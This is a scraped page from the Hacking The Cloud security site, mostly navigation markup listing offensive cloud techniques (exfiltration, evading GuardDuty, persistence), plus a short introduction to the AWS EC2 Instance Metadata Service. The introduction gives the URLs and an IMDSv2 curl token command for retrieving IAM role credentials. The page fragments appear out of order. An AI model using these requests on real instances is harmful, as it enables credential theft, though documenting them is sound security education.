href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#how-to-access-the-metadata-service class=md-nav__link> <span class=md-ellipsis> How to Access the Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=#imdsv2 class=md-nav__link> <span class=md-ellipsis> IMDSv2 </span> </a> </li> <li class=md-nav__item> <a href=#the-security-benefits-of-imdsv2 class=md-nav__link> <span class=md-ellipsis> The Security Benefits of IMDSv2 </span> </a> </li> <li class=md-nav__item> <a href=#what-info-the-metadata-service-contains class=md-nav__link> <span class=md-ellipsis> What Info the Metadata Service Contains </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/general-knowledge/intro_metadata_service.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Introduction to the Instance Metadata Service</h1> <p>Every EC2 instance has access to the instance metadata service (IMDS) that contains metadata and information about that specific EC2 instance. In addition, if an <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html>IAM Role</a> is associated with the EC2 instance, credentials for that role will be in the metadata service. Because of this, the instance metadata service is a prime target for attackers who gain access to an EC2 instance.</p> <h2 id=how-to-access-the-metadata-service>How to Access the Metadata Service<a class=headerlink href=#how-to-access-the-metadata-service title="Permanent link">&para;</a></h2> <p>The metadata service can be accessed at <code>http://169.254.169.254/latest/meta-data/</code> from the EC2 instance. Alternatively, it can also be reached via IPv6 at <code>http://[fd00:ec2::254]/latest/meta-data/</code> however this only applies to <a href=https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html#ec2-nitro-instances>Nitro EC2 instances</a>.</p> <p>To get credentials, you will first need to make a request to <code>http://169.254.169.254/latest/meta-data/iam/security-credentials/</code>. The response to this will return the name of the IAM role associated with the credentials. You then make a subsequent request to retrieve the IAM credentials at <code>http://169.254.169.254/latest/meta-data/iam/security-credentials/*role_name*/</code>. </p> <h2 id=imdsv2>IMDSv2<a class=headerlink href=#imdsv2 title="Permanent link">&para;</a></h2> <p>Version <a href=https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html>two</a> of the metadata service has added protections against SSRF and requires the user to create and use a token. You can access it via the following.</p> <div class=highlight><pre><span></span><code>user@host:~$ TOKEN=`curl -X PUT &quot;http://169.254.169.254/latest/api/token&quot; -H &quot;X-aws-ec2-metadata-token-ttl-seconds: 21600&quot;`
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#how-to-access-the-metadata-service class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 